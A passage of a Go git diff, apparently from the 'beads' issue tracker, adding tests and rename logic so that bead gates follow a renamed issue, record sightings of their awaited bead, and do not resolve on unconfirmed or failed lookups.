&fakeBeadGateGetter{err: tt.err} satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") if err != nil { - t.Fatalf("not-found must stay pending, got error %v", err) + t.Fatalf("not-found is a missing bead, not an error, got %v", err) } - if satisfied { - t.Error("expected not satisfied for a missing bead") + if !satisfied { + t.Errorf("expected satisfied for a missing bead, got reason %q", reason) } - if !gateTestContainsIgnoreCase(reason, "not found") { - t.Errorf("reason %q does not mention not found", reason) + if !gateTestContainsIgnoreCase(reason, "no longer exists") { + t.Errorf("reason %q does not mention that the bead no longer exists", reason) } }) } @@ -329,7 +354,7 @@ func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-abc"} st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} - results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil) + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil, nil) if len(results) != 1 { t.Fatalf("results = %d, want 1", len(results)) } @@ -356,6 +381,716 @@ func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { } } +func TestCheckBeadGate_UnconfirmedMissStaysPending(t *testing.T) { + // A miss outside this rig's own store (a route whose rig cannot be read, + // or a routed store that did not return the bead) does not prove the bead + // is gone. The gate stays pending with the cause, even when the wrapped + // error is itself a not-found, and it is not an error row either. + for _, tt := range []struct { + name string + err error + }{ + {name: "routed store not-found", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, fmt.Errorf("get gt-open: %w", storage.ErrNotFound))}, + {name: "routed partial-id miss", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, errors.New("no issue found matching gt-open"))}, + {name: "routed store cannot be opened", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, errors.New("target rig has no dolt_database configured"))}, + } { + t.Run(tt.name, func(t *testing.T) { + st := &fakeBeadGateGetter{err: tt.err} + satisfied, reason, err := checkBeadGate(context.Background(), st, "gastown:gt-open") + if err != nil { + t.Fatalf("an unconfirmed miss is a pending gate, not an error, got %v", err) + } + if satisfied { + t.Fatalf("an unconfirmed miss resolved the gate: %s", reason) + } + if !strings.Contains(reason, "cannot confirm") { + t.Errorf("reason %q does not say the absence is unconfirmed", reason) + } + }) + } +} + +// fakeRoutedBeadGateGetter answers like a getter that reached the bead +// through a route: the answer did not come from this rig's own store. +type fakeRoutedBeadGateGetter struct{ fakeBeadGateGetter } + +func (f *fakeRoutedBeadGateGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { + issue, err := f.GetIssue(ctx, id) + return issue, false, err +} + +func TestEvaluateGates_BeadGateSightingRule(t *testing.T) { + // bd gate check resolves a gate whose awaited bead is gone only when an + // earlier check saw that bead in this rig, so an await_id that never + // named a real bead stays pending instead of unblocking its step. + const seen = `{"await_seen":"bd-target"}` + open := map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}} + closed := map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusClosed}} + // The getter is the gate's own store, which a check reads the gate back + // from once the bead is gone: there the gate records its sighting. + missing := map[string]*types.Issue{"bd-gate": {ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-target", Metadata: json.RawMessage(seen)}} + unconfirmed := fmt.Errorf("%w: bead bd-target routes to rig: %w", errBeadGateTargetUnconfirmed, storage.ErrNotFound) + + for _, tt := range []struct { + name string + getter issueGetter + metadata string + wantResolved bool + wantReason string + wantRecords int + }{ + {name: "missing and never seen", getter: &fakeBeadGateGetter{issues: missing}, wantReason: "no earlier gate check saw it"}, + {name: "missing after a sighting", getter: &fakeBeadGateGetter{issues: missing}, metadata: seen, wantResolved: true, wantReason: "no longer exists"}, + {name: "missing, sighting of another await_id", getter: &fakeBeadGateGetter{issues: missing}, metadata: `{"await_seen":"bd-other"}`, wantReason: "no earlier gate check saw it"}, + {name: "open, first sighting", getter: &fakeBeadGateGetter{issues: open}, wantReason: "is open", wantRecords: 1}, + {name: "open, already seen", getter: &fakeBeadGateGetter{issues: open}, metadata: seen, wantReason: "is open"}, + {name: "open in another rig", getter: &fakeRoutedBeadGateGetter{fakeBeadGateGetter{issues: open}}, wantReason: "is open"}, + {name: "closed", getter: &fakeBeadGateGetter{issues: closed}, wantResolved: true, wantReason: "closed"}, + {name: "unconfirmed miss after a sighting", getter: &fakeBeadGateGetter{err: unconfirmed}, metadata: seen, wantReason: "cannot confirm"}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-target"} + if tt.metadata != "" { + gate.Metadata = json.RawMessage(tt.metadata) + } + var recorded []*types.Issue + recordSeen := func(g *types.Issue) error { + recorded = append(recorded, g) + return nil + } + + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), tt.getter, nil, recordSeen) + if len(results) != 1 { + t.Fatalf("results = %d, want 1", len(results)) + } + r := results[0] + if r.err != nil { + t.Fatalf("err = %v, want a pending or resolved gate", r.err) + } + if r.resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", r.resolved, tt.wantResolved, r.reason) + } + if !strings.Contains(r.reason, tt.wantReason) { + t.Errorf("reason %q does not contain %q", r.reason, tt.wantReason) + } + if len(recorded) != tt.wantRecords { + t.Fatalf("recordSeen called %d times, want %d", len(recorded), tt.wantRecords) + } + if tt.wantRecords == 1 && recorded[0] != gate { + t.Errorf("recordSeen got %v, want the checked gate", recorded[0]) + } + }) + } +} + +// gateReadBackGetter is a gate's own store in which the awaited bead is gone. +// Reading the gate back returns gate, as found through a route when routed, +// or fails with err. +type gateReadBackGetter struct { + gate *types.Issue + routed bool + err error +} + +func (g gateReadBackGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (g gateReadBackGetter) getBeadGateTarget(_ context.Context, id string) (*types.Issue, bool, error) { + switch { + case id != "bd-gate": + return nil, true, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) + case g.err != nil: + return nil, false, g.err + case g.gate == nil: + return nil, true, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) + } + return g.gate, !g.routed, nil +} + +func TestEvaluateBeadGate_GoneBeadReadsTheGateBack(t *testing.T) { + // The gate a check holds can be older than a rename of its bead, which + // moves the stored gate to the new ID before the old one goes. Once the + // bead is gone, the gate resolves only if the stored gate still waits on + // it with its sighting. + gateWith := func(awaitID, metadata string) *types.Issue { + g := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: awaitID} + if metadata != "" { + g.Metadata = json.RawMessage(metadata) + } + return g + } + listed := gateWith("bd-target", `{"await_seen":"bd-target"}`) + boom := errors.New("dolt exploded") + + for _, tt := range []struct { + name string + getter gateReadBackGetter + wantResolved bool + wantReason string + wantErr error + }{ + {name: "stored as listed", getter: gateReadBackGetter{gate: gateWith("bd-target", `{"await_seen":"bd-target"}`)}, wantResolved: true, wantReason: "no longer exists"}, + {name: "moved by a rename", getter: gateReadBackGetter{gate: gateWith("bd-renamed", `{"await_seen":"bd-renamed"}`)}, wantReason: "the gate changed while it was being checked"}, + {name: "moved back without its sighting", getter: gateReadBackGetter{gate: gateWith("bd-target", "")}, wantReason: "the gate changed while it was being checked"}, + {name: "gate gone", getter: gateReadBackGetter{}, wantReason: "the gate could not be read back"}, + {name: "gate found only through a route", getter: gateReadBackGetter{gate: listed, routed: true}, wantReason: "the gate could not be read back"}, + {name: "gate behind an unconfirmed route", getter: gateReadBackGetter{err: fmt.Errorf("%w: bead bd-gate routes to rig: %w", errBeadGateTargetUnconfirmed, boom)}, wantReason: "the gate could not be read back"}, + {name: "gate cannot be read", getter: gateReadBackGetter{err: boom}, wantErr: boom}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := *listed + resolved, reason, err := evaluateBeadGate(context.Background(), &gate, tt.getter, nil) + if tt.wantErr != nil { + if !errors.Is(err, tt.wantErr) || resolved || reason != "" { + t.Fatalf("evaluateBeadGate = (%v, %q, %v), want only an error wrapping %v", resolved, reason, err, tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("err = %v, want a pending or resolved gate", err) + } + if resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", resolved, tt.wantResolved, reason) + } + if !strings.Contains(reason, tt.wantReason) { + t.Errorf("reason %q does not contain %q", reason, tt.wantReason) + } + }) + } +} + +func TestEvaluateBeadGate_WithoutRecorder(t *testing.T) { + // --dry-run passes no recorder: the open bead is reported and nothing is + // written. + gate := &types.Issue{ID: "bd-gate", AwaitType: "bead", AwaitID: "bd-target"} + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}}} + resolved, reason, err := evaluateBeadGate(context.Background(), gate, st, nil) + if err != nil || resolved || !strings.Contains(reason, "is open") { + t.Fatalf("evaluateBeadGate = (%v, %q, %v), want a pending gate", resolved, reason, err) + } +} + +func TestEvaluateBeadGate_RecordFailureIsAnError(t *testing.T) { + // A sighting that cannot be recorded would let the gate pend forever once + // the bead is deleted, so the failure is reported rather than dropped. + gate := &types.Issue{ID: "bd-gate", AwaitType: "bead", AwaitID: "bd-target"} + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}}} + boom := errors.New("write refused") + resolved, reason, err := evaluateBeadGate(context.Background(), gate, st, func(*types.Issue) error { return boom }) + if !errors.Is(err, boom) { + t.Fatalf("err = %v, want it to wrap the write error", err) + } + if !strings.Contains(err.Error(), "recording that bead bd-target exists") { + t.Errorf("err %q does not say what failed", err) + } + if resolved || reason != "" { + t.Errorf("evaluateBeadGate = (%v, %q), want neither resolved nor pending on an error", resolved, reason) + } +} + +func TestBeadGateSeenUpdate_KeepsOtherMetadata(t *testing.T) { + old := &types.Issue{Metadata: json.RawMessage(`{"repo":"o/r"}`)} + resolved, err := storageissueops.ResolveMergeOps(old, beadGateSeenUpdate("rig:bd-x")) + if err != nil { + t.Fatalf("ResolveMergeOps: %v", err) + } + meta, ok := resolved["metadata"].(json.RawMessage) + if !ok { + t.Fatalf("resolved metadata is %T, want json.RawMessage", resolved["metadata"]) + } + var got map[string]string + if err := json.Unmarshal(meta, &got); err != nil { + t.Fatalf("resolved metadata %s: %v", meta, err) + } + if got["repo"] != "o/r" || got[beadGateSeenKey] != "rig:bd-x" { + t.Errorf("metadata = %s, want repo kept and %s set to the await_id", meta, beadGateSeenKey) + } + + gate := &types.Issue{AwaitID: "rig:bd-x", Metadata: meta} + if !beadGateTargetSeen(gate) { + t.Error("the recorded sighting is not read back") + } + gate.AwaitID = "rig:bd-y" + if beadGateTargetSeen(gate) { + t.Error("a sighting of the old await_id counts after the gate was retargeted") + } +} + +func TestBeadGateTargetSeen(t *testing.T) { + if beadGateTargetSeen(nil) { + t.Error("a nil gate has no sighting") + } + for _, tt := range []struct { + name string + awaitID string + metadata string + want bool + }{ + {name: "no metadata", awaitID: "bd-x"}, + {name: "null metadata", awaitID: "bd-x", metadata: "null"}, + {name: "metadata not an object", awaitID: "bd-x", metadata: `["bd-x"]`}, + {name: "no sighting", awaitID: "bd-x", metadata: `{"repo":"o/r"}`}, + {name: "sighting not a string", awaitID: "bd-x", metadata: `{"await_seen":true}`}, + {name: "null sighting", awaitID: "bd-x", metadata: `{"await_seen":null}`}, + {name: "no await_id", metadata: `{"await_seen":""}`}, + {name: "sighting of this await_id", awaitID: "bd-x", metadata: `{"await_seen":"bd-x"}`, want: true}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{AwaitID: tt.awaitID} + if tt.metadata != "" { + gate.Metadata = json.RawMessage(tt.metadata) + } + if got := beadGateTargetSeen(gate); got != tt.want { + t.Errorf("beadGateTargetSeen = %v, want %v", got, tt.want) + } + }) + } +} + +func TestBeadGateRetargetUpdate(t *testing.T) { + // The update points a gate at a new await_id and drops its sighting only + // when asked; the rest of the metadata is kept either way. + gate := &types.Issue{AwaitID: "bd-old", Metadata: json.RawMessage(`{"repo":"o/r","await_seen":"bd-old"}`)} + for _, tt := range []struct { + name string + dropSeen bool + wantMeta string // "" means the metadata is not written + }{ + {name: "sighting kept"}, + {name: "sighting dropped", dropSeen: true, wantMeta: `{"repo":"o/r"}`}, + } { + t.Run(tt.name, func(t *testing.T) { + resolved, err := storageissueops.ResolveMergeOps(gate, beadGateRetargetUpdate("rig:bd-new", tt.dropSeen)) + if err != nil { + t.Fatalf("ResolveMergeOps: %v", err) + } + if resolved["await_id"] != "rig:bd-new" { + t.Errorf("await_id = %v, want %q", resolved["await_id"], "rig:bd-new") + } + meta, written := resolved["metadata"] + switch { + case tt.wantMeta == "" && written: + t.Errorf("metadata = %s, want it left alone", meta) + case tt.wantMeta != "" && !written: + t.Errorf("metadata not written, want %s", tt.wantMeta) + case tt.wantMeta != "": + if got, ok := meta.(json.RawMessage); !ok || string(got) != tt.wantMeta { + t.Errorf("metadata = %s, want %s", meta, tt.wantMeta) + } + } + }) + } +} + +func TestPlanBeadGateMoves(t *testing.T) { + // A rename moves the bead gates that wait on the renamed bead, and only + // those. A : prefix on await_id is kept. + gate := func(id, awaitType, awaitID, metadata string) *types.Issue { + g := &types.Issue{ID: id, IssueType: types.TypeGate, AwaitType: awaitType, AwaitID: awaitID} + if metadata != "" { + g.Metadata = json.RawMessage(metadata) + } + return g + } + issues := []*types.Issue{ + gate("bd-g1", "bead", "bd-old", ""), + gate("bd-g2", "bead", "rig:bd-old", `{"await_seen":"rig:bd-old"}`), + gate("bd-g3", "bead", "bd-old", `{"await_seen":"bd-new"}`), + gate("bd-g4", "bead", "bd-old.1", `{"await_seen":"bd-old.1"}`), + gate("bd-g5", "gh:run", "bd-old", ""), + gate("bd-g6", "bead", ":bd-old", ""), + {ID: "bd-task", IssueType: types.TypeTask, AwaitType: "bead", AwaitID: "bd-old"}, + } + got := planBeadGateMoves(beadGatesByTarget(issues)["bd-old"], "bd-old", "bd-new") + want := []beadGateMove{ + {gateID: "bd-g1", fromID: "bd-old", toID: "bd-new"}, + {gateID: "bd-g2", fromID: "rig:bd-old", toID: "rig:bd-new", seen: true}, + {gateID: "bd-g3", fromID: "bd-old", toID: "bd-new", staleSeen: true}, + } + if !slices.Equal(got, want) { + t.Errorf("moves = %+v\nwant %+v", got, want) + } +} + +// renameGateStore is an in-memory store for renameIssueKeepingBeadGates whose +// writes can fail. Writes are numbered from 1: failAt fails one write, or with +// failRest every write from it on, and with landed a failing write is applied +// before it returns its error, like a commit whose response was lost. After +// each applied write it checks that bd gate check would resolve no gate: +// every issue it holds is open, so none may resolve, whether the check reads +// the gates now or listed them before the rename began. +type renameGateStore struct { + t *testing.T + issues map[string]*types.Issue + listed []*types.Issue // a concurrent check's copies, listed before the rename + writes int + failAt int + failRest bool + landed bool +} + +func newRenameGateStore(t *testing.T, issues []*types.Issue) *renameGateStore { + s := &renameGateStore{t: t, issues: make(map[string]*types.Issue, len(issues))} + for _, issue := range issues { + c := *issue + s.issues[issue.ID] = &c + } + return s +} + +func (s *renameGateStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + issue, ok := s.issues[id] + if !ok { + return nil, fmt.Errorf("issue %s: %w", id, storage.ErrNotFound) + } + c := *issue + return &c, nil +} + +func (s *renameGateStore) UpdateIssue(_ context.Context, id string, updates map[string]interface{}, _ string) error { + return s.write(func() error { + issue, ok := s.issues[id] + if !ok { + return fmt.Errorf("issue %s: %w", id, storage.ErrNotFound) + } + resolved, err := storageissueops.ResolveMergeOps(issue, updates) + if err != nil { + return err + } + updated := *issue + for field, value := range resolved { + switch field { + case "await_id": + updated.AwaitID, ok = value.(string) + case "metadata": + updated.Metadata, ok = value.(json.RawMessage) + default: + ok = false + } + if !ok { + return fmt.Errorf("unexpected update %s=%v", field, value) + } + } + *issue = updated + return nil + }) +} + +func (s *renameGateStore) UpdateIssueID(_ context.Context, oldID, newID string, issue *types.Issue, _ string) error { + return s.write(func() error { + stored, ok := s.issues[oldID] + if !ok { + return fmt.Errorf("issue %s: %w", oldID, storage.ErrNotFound) + } + // Like UpdateIssueIDInTx, write the ID and the text fields: await_id + // and metadata keep their stored values. + delete(s.issues, oldID) + stored.ID, stored.Title = newID, issue.Title + s.issues[newID] = stored + return nil + }) +} + +func (s *renameGateStore) write(apply func() error) error { + s.writes++ + failing := s.failAt > 0 && (s.writes == s.failAt || (s.failRest && s.writes > s.failAt)) + if failing && !s.landed { + return errors.New("injected write failure") + } + if err := apply(); err != nil { + return err + } + s.requireNoGateResolves() + if failing { + return errors.New("injected lost commit response") + } + return nil +} + +func (s *renameGateStore) requireNoGateResolves() { + s.t.Helper() + for _, issue := range s.issues { + s.requireGateDoesNotResolve(issue, "") + } + for _, issue := range s.listed { + s.requireGateDoesNotResolve(issue, " listed before the rename") + } +} + +func (s *renameGateStore) requireGateDoesNotResolve(issue *types.Issue, note string) { + s.t.Helper() + if issue.IssueType != types.TypeGate { + return + } + gate := *issue + resolved, reason, err := evaluateBeadGate(context.Background(), &gate, s, nil) + if resolved || err != nil { + s.t.Errorf("after write %d, gate %s%s (await_id %q, metadata %s) resolves: %q, err %v", s.writes, gate.ID, note, gate.AwaitID, gate.Metadata, reason, err) + } +} + +// rename renames bd-old to bd-new the way bd rename does, with the gates +// listed before the first write. A concurrent bd gate check that listed them +// at the same moment holds its own copies, kept in s.listed. +func (s *renameGateStore) rename() error { + listing := make([]*types.Issue, 0, len(s.issues)) + s.listed = make([]*types.Issue, 0, len(s.issues)) + for _, issue := range s.issues { + renames, checks := *issue, *issue + listing = append(listing, &renames) + s.listed = append(s.listed, &checks) + } + slices.SortFunc(listing, func(a, b *types.Issue) int { return strings.Compare(a.ID, b.ID) }) + issue, err := s.GetIssue(context.Background(), "bd-old") + if err != nil { + return err + } + return renameIssueKeepingBeadGates(context.Background(), s, issue, "bd-new", beadGatesByTarget(listing)["bd-old"], "test") +} + +// renameGateFixtures each hold bd-old, the issue renamed to bd-new, with +// the bead gates on it, and the gates expected after the rename by ID. +var renameGateFixtures = []struct { + name string + issues []*types.Issue + want map[string]types.Issue // only AwaitID and Metadata are compared +}{ + { + name: "gates on a bead", + issues: []*types.Issue{ + {ID: "bd-old", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "bd-g1", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"repo":"o/r","await_seen":"bd-old"}`)}, + {ID: "bd-g2", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "rig:bd-old"}, + {ID: "bd-g3", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"await_seen":"bd-new"}`)}, + }, + want: map[string]types.Issue{ + "bd-g1": {AwaitID: "bd-new", Metadata: json.RawMessage(`{"await_seen":"bd-new","repo":"o/r"}`)}, + "bd-g2": {AwaitID: "rig:bd-new"}, + "bd-g3": {AwaitID: "bd-new", Metadata: json.RawMessage(`{}`)}, + }, + }, + { + name: "a gate on itself", + issues: []*types.Issue{ + {ID: "bd-old", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"await_seen":"bd-old"}`)}, + }, + want: map[string]types.Issue{ + "bd-new": {AwaitID: "bd-new", Metadata: json.RawMessage(`{"await_seen":"bd-new"}`)}, + }, + }, +} + +func TestRenameIssueKeepingBeadGates(t *testing.T) { + // A rename points each bead gate on the bead at the new ID. A gate that + // had seen the bead keeps its sighting under the new ID; one that had not, + // or whose sighting named the new ID before the bead had it, is unseen. + for _, fx := range renameGateFixtures { + t.Run(fx.name, func(t *testing.T) { + st := newRenameGateStore(t, fx.issues) + if err := st.rename(); err != nil { + t.Fatalf("rename: %v", err) + } + for id, want := range fx.want { + got, ok := st.issues[id] + if !ok { + t.Errorf("gate %s is missing after the rename", id) + continue + } + if got.AwaitID != want.AwaitID || string(got.Metadata) != string(want.Metadata) { + t.Errorf("gate %s: await_id=%q metadata=%s, want %q and %s", id, got.AwaitID, got.Metadata, want.AwaitID, want.Metadata) + } + } + }) + } +} + +func TestRenameIssueKeepingBeadGates_FailedWritesResolveNoGate(t *testing.T) { + // UpdateIssueID commits on its own, so a rename takes several writes, and + // any of them can fail, or land and still return an error. No state they + // leave may let bd gate check resolve a gate whose bead exists; the store + // checks after every write. A rename that fails before anything lands + // leaves each gate on bd-old without a sighting, for a check to record + // again. + for _, fx := range renameGateFixtures { + probe := newRenameGateStore(t, fx.issues) + if err := probe.rename(); err != nil { + t.Fatalf("%s: rename without failures: %v", fx.name, err) + } + for n := 1; n <= probe.writes; n++ { + for _, mode := range []struct { + name string + failRest, landed bool + }{ + {name: "fails"}, + {name: "lands and fails", landed: true}, + {name: "fails with every later write", failRest: true}, + {name: "lands and fails with every later write", failRest: true, landed: true}, + } { + t.Run(fmt.Sprintf("%s/write %d of %d %s", fx.name, n, probe.writes, mode.name), func(t *testing.T) { + st := newRenameGateStore(t, fx.issues) + st.failAt, st.failRest, st.landed = n, mode.failRest, mode.landed + err := st.rename() + st.requireNoGateResolves() + if err == nil { + // Only a sighting that could not be moved is not an error. + if _, ok := st.issues["bd-new"]; !ok { + t.Fatal("rename returned no error, but bd-old was not renamed") + } + return + } + if mode.failRest || mode.landed { + return + } + for _, issue := range fx.issues { + got := st.issues[issue.ID] + if issue.IssueType == types.TypeGate && (got.AwaitID != issue.AwaitID || beadGateTargetSeen(got)) { + t.Errorf("gate %s after a failed rename: await_id=%q metadata=%s, want %q without a sighting", issue.ID, got.AwaitID, got.Metadata, issue.AwaitID) + } + } + }) + } + } + } +} + +// withBeadGateTown points dbPath at a fresh town and returns its .beads +// directory, where a test writes the routes.jsonl a missed lookup follows. +func withBeadGateTown(t *testing.T) string { + t.Helper() + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("create town beads dir: %v", err) + } + oldDBPath := dbPath + dbPath = filepath.Join(beadsDir, "dolt") + t.Cleanup(func() { dbPath = oldDBPath }) + return beadsDir +} + +func TestProxiedFreshReadGetter_LocalMissFollowsRoutes(t *testing.T) { + // The proxied getter must not report a route it could not follow as the + // local not-found: an OPEN bead in a rig that cannot be read would + // resolve its gate. + for _, tt := range []struct { + name string + routes string // routes.jsonl content; empty makes it a directory, which cannot be read + awaitID string + wantResolved bool + wantReason []string + }{ + { + name: "route to a rig that cannot be read", + routes: `{"prefix":"gt-","path":"gastown"}`, + awaitID: "gastown:gt-open", + wantReason: []string{"cannot confirm", "routes to gastown", "no dolt_database"}, + }, + { + name: "routes.jsonl cannot be read", + awaitID: stubMissingID, + wantReason: []string{"cannot confirm", "reading routes.jsonl"}, + }, + { + name: "no route for the prefix", + routes: `{"prefix":"gt-","path":"gastown"}`, + awaitID: stubMissingID, + wantResolved: true, + wantReason: []string{"no longer exists"}, + }, + { + name: "route back to this rig", + routes: `{"prefix":"bd-","path":"."}`, + awaitID: stubMissingID, + wantResolved: true, + wantReason: []string{"no longer exists"}, + }, + } { + t.Run(tt.name, func(t *testing.T) { + withStubbedProxiedLookup(t, nil) + routesPath := filepath.Join(withBeadGateTown(t), "routes.jsonl") + if tt.routes == "" { + if err := os.Mkdir(routesPath, 0o755); err != nil { + t.Fatalf("create unreadable routes.jsonl: %v", err) + } + } else if err := os.WriteFile(routesPath, []byte(tt.routes), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + + resolved, reason, err := checkBeadGate(context.Background(), proxiedFreshReadGetter{}, tt.awaitID) + if err != nil { + t.Fatalf("checkBeadGate error = %v, want a pending or resolved gate", err) + } + if resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", resolved, tt.wantResolved, reason) + } + for _, want := range tt.wantReason { + if !strings.Contains(reason, want) { + t.Errorf("reason %q does not contain %q", reason, want) + } + } + }) + } +} + +// beadGateLocalStore stands in for this rig's own store: GetIssue answers +// from issues (or fails with err), and no contributor routing is configured. +// Anything else is a nil call. +type beadGateLocalStore struct { + storage.DoltStorage + issues map[string]*types.Issue + err error +} + +func (s *beadGateLocalStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + if s.err != nil { + return nil, s.err + } + if issue, ok := s.issues[id]; ok { + return issue, nil + } + return nil, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) +} + +func (s *beadGateLocalStore) GetAllConfig(context.Context) (map[string]string, error) { + return map[string]string{}, nil +} + +func TestRoutedBeadGateGetter_ReportsWhereTheAnswerCameFrom(t *testing.T) { + ctx := context.Background() + beadsDir := withBeadGateTown(t) + if err := os.WriteFile(filepath.Join(beadsDir, "routes.jsonl"), []byte(`{"prefix":"gt-","path":"gastown"}`), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + getter := routedBeadGateGetter{localStore: &beadGateLocalStore{issues: map[string]*types.Issue{ + "bd-open": {ID: "bd-open", Status: types.StatusOpen}, + }}} + + issue, local, err := getter.getBeadGateTarget(ctx, "bd-open") + if err != nil || issue == nil || !local { + t.Errorf("local bead: getBeadGateTarget = (%v, local %v, %v), want the bead from this rig", issue, local, err) + } + + issue, local, err = getter.getBeadGateTarget(ctx, "bd-missing") + if !errors.Is(err, storage.ErrNotFound) || errors.Is(err, errBeadGateTargetUnconfirmed) || issue != nil || !local { + t.Errorf("unrouted miss: getBeadGateTarget = (%v, local %v, %v), want this rig's not-found", issue, local, err) + } + + issue, local, err = getter.getBeadGateTarget(ctx, "gt-open") + if !errors.Is(err, errBeadGateTargetUnconfirmed) || issue != nil || local { + t.Errorf("unreadable route: getBeadGateTarget = (%v, local %v, %v), want an unconfirmed miss", issue, local, err) + } + + boom := errors.New("dolt exploded") + _, _, err = routedBeadGateGetter{localStore: &beadGateLocalStore{err: boom}}.getBeadGateTarget(ctx, "gt-open") + if !errors.Is(err, boom) || errors.Is(err, errBeadGateTargetUnconfirmed) { + t.Errorf("local read failure: err = %v, want the read error, not a routed miss", err) + } +} + func TestPrintGateCheckSummary_ErrorsFailTheCommand(t *testing.T) { origJSON := jsonOutput t.Cleanup(func() { jsonOutput = origJSON }) diff --git a/cmd/bd/rename.go b/cmd/bd/rename.go index cd45cc088..4305242ca 100644 --- a/cmd/bd/rename.go +++ b/cmd/bd/rename.go @@ -4,7 +4,9 @@ import ( "context" "errors" "fmt" + "os" "regexp" + "strings" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" @@ -83,9 +85,14 @@ func runRename(cmd *cobra.Command, args []string) error { return HandleError("failed to check for existing issue: %v", err) } - oldIssue.ID = newID + gateType := types.TypeGate + gates, err := store.SearchIssues(ctx, "", types.IssueFilter{IssueType: &gateType}) + if err != nil { + return HandleError("failed to list gates: %v", err) + } + actor := getActorWithGit() - if err := store.UpdateIssueID(ctx, oldID, newID, oldIssue, actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, oldIssue, newID, beadGatesByTarget(gates)[oldID], actor); err != nil { return HandleError("failed to rename issue: %v", err) } @@ -150,3 +157,114 @@ func updateReferencesInAllIssues(ctx context.Context, store storage.DoltStorage, return nil } + +// beadGateRenameStore is the part of the store a rename writes through. +type beadGateRenameStore interface { + UpdateIssue(ctx context.Context, id string, updates map[string]interface{}, actor string) error + UpdateIssueID(ctx context.Context, oldID, newID string, issue *types.Issue, actor string) error +} + +// beadGatesByTarget indexes the bead gates in issues by the ID of the bead +// each one waits on (see beadGateTargetID). +func beadGatesByTarget(issues []*types.Issue) map[string][]*types.Issue { + gates := make(map[string][]*types.Issue) + for _, issue := range issues { + if issue.IssueType != types.TypeGate || issue.AwaitType != "bead" { + continue + } + if targetID, pendingReason := beadGateTargetID(issue.AwaitID); pendingReason == "" { + gates[targetID] = append(gates[targetID], issue) + } + } + return gates +} + +// beadGateMove is one bead gate following its bead to a new ID. +type beadGateMove struct { + gateID string + fromID string // await_id before the rename + toID string // await_id after it; a : prefix is kept + seen bool // the gate records a sighting of fromID + staleSeen bool // the gate records a sighting of toID, left from an earlier await_id +} + +// planBeadGateMoves lists the moves of gates, which wait on oldID, for its +// rename to newID. +func planBeadGateMoves(gates []*types.Issue, oldID, newID string) []beadGateMove { + moves := make([]beadGateMove, 0, len(gates)) + for _, gate := range gates { + toID := strings.TrimSuffix(gate.AwaitID, oldID) + newID + moves = append(moves, beadGateMove{ + gateID: gate.ID, + fromID: gate.AwaitID, + toID: toID, + seen: beadGateTargetSeen(gate), + staleSeen: beadGateSeenID(gate) == toID, + }) + } + return moves +} + +// renameIssueKeepingBeadGates renames issue to newID and points gates, the +// bead gates waiting on it, at the new ID. bd gate check resolves a gate whose +// awaited bead is missing once await_seen records a sighting of that same +// await_id, and UpdateIssueID commits on its own, so the writes are ordered +// to leave no state in between that resolves a gate: +// +// 1. Each gate's await_id moves to the new ID while its sighting still names +// the old one, so until the bead has the new ID the gate reads as never +// seen and stays pending. A sighting that already names the new ID would +// match early, so it is dropped in the same write. +// 2. The issue is renamed. UpdateIssueID writes neither await_id nor +// metadata, so the moves survive it, a gate's own rename included. +// 3. Each sighting is recorded again under the new ID. Losing one costs only +// the sighting, which the next check records again while the bead exists, +// so a failure here is a warning. +// +// If step 1 or 2 fails, the gates are moved back and the error is returned. A +// failed write may still have landed (a lost commit response), so a gate +// moved back loses its sighting too: it stays pending until a check sees the +// bead again. A gate that cannot be moved back is left on the new ID without a +// sighting of it, which also stays pending. +func renameIssueKeepingBeadGates(ctx 